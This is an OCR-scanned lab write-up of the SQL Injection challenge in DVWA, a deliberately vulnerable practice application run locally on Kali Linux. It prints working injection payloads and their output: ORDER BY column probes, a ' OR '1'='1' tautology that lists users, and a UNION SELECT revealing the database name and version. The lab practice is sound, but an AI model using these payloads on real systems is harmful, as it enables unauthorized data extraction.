SQL Injection challenge

- First of all, | downloaded dvwa on my kali linux machine

~

install dvwa
pgrading:

libapache:

" | G )

-mod f“r’\I[u“’-’y o

common

il

ummary :

php8.2-my

php8.2-opc:

Upgrading: 7, Installing: 3, Removing: @, Not Upgradin

Download size: 6968 kB

Space needed: 7199 kB / 134 GB available

ontinue? [Y/n] vy
et:6 http://http.kali.org/kali kali-rolling/mai

- Started dvwa tool

® O Welcome::DamnVulner X  +

O D 127.0.01

C @

KaliLinux # KaliTools <« KaliDocs X Kali Forums & Kali NetHunter

amd64 php8.2-common amd64 8

Exploit-DB Google Hacking DB OffSec

| :
o Open previous tabs? You can restore your previous session from the Firefox application menu =, under History. m

root@Tali: ~
File Actions Edit View Help

update-rc.d: We have no instructions for the php8
update-rc.d: It looks like a network service, we
Setting up php8.2 (8.2.24-1)

Setting up libapache2-mod-php8.2 (8.2.24-1+b1) ...
libapache2-mod-php8. tching MPM - already enabled
Setting up dvwa (2.2 .

dvwa.service is a disabled or a static unit, not starting it.
Processing triggers for man-db (2.12.1-2)

Processing triggers for kali-menu (2024.3.1) ...

Processing triggers for php8.2-cli (8 24-1+b1)

Processing triggers for php8.2-fpm (8.2.24-1+b1)

NOTICE: Not enabling PHP 8.2 FPM by default.

NOTICE: To enable PHP 8.2 FPM in Apache2 do:

NOTICE: a2enmod proxy_fcgi setenvif

fpm init script.
sable it.

NOTICE: a2enconf php8.2-fpm

NOTICE: You are seeing this message because you have apache2 package installe
d.

Processing triggers for libapache2-mod-php8.2 (8.2.24-1+b1)

Written by: Turki Hamad Al Mutairi

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment.

The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
iffi , with a simple ard interface.

General Instructions

Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability.

Please note, there are both and with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue.
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SQL Injection challenge

- Choose SQL Injection

\
o)

Home . Vulnerability: SQL Injection

Instructions |

Setup | Reset DB | User ID: | Submit |

Brute Force

More Information

Command Injection

CSRF

File Upload

Insecure CAPTCHA

|
|
|
File Inclusion ‘
|
|
|

- Tryto figure out how many columns by entering the below commands

Vulnerability: SQL Injection

User ID: ‘ order by 1 # ‘[Submit]

Vulnerability: SQL Injection

User ID: ‘ order by 2 # } [Submit}
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SQL Injection challenge

Vulnerability: SQL Injection

User ID: [ order by 3]# I[Submit]

- Whenireachto number 3ifound an error, So it means there are only 2 columns
- Then, i used the below command to find out all the users on that DB

1T OR'"1'="1'#

Vulnerability: SQL Injection

User ID: | |[ submit |

TDER QRS IE=Us] o
First name: admin
Surname: admin

IDi: 1 QR 1V="1"#
First name: Gordon
Surname: Brown

TDESTER ORSAT =215
First name: Hack
Surname: Me

ID: 1' OR '1'="'1"#
First name: Pablo
Surname: Picasso

ID: 1" OR '1'="1"#
First name: Bob
Surname: Smith
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SQL Injection challenge

- The below command helped me to find database name and version

"union select all DATABASE(),VERSION() #

Vulnerability: SQL Injection

User ID: [ ][Submit]

ID: ' union select all DATABASE(),VERSION() #
First name: dvwa
Surname: 11.4.3-MariaDB-1

Database name: dvwa

Database vesrion: 11.4.3-MariaDB-1
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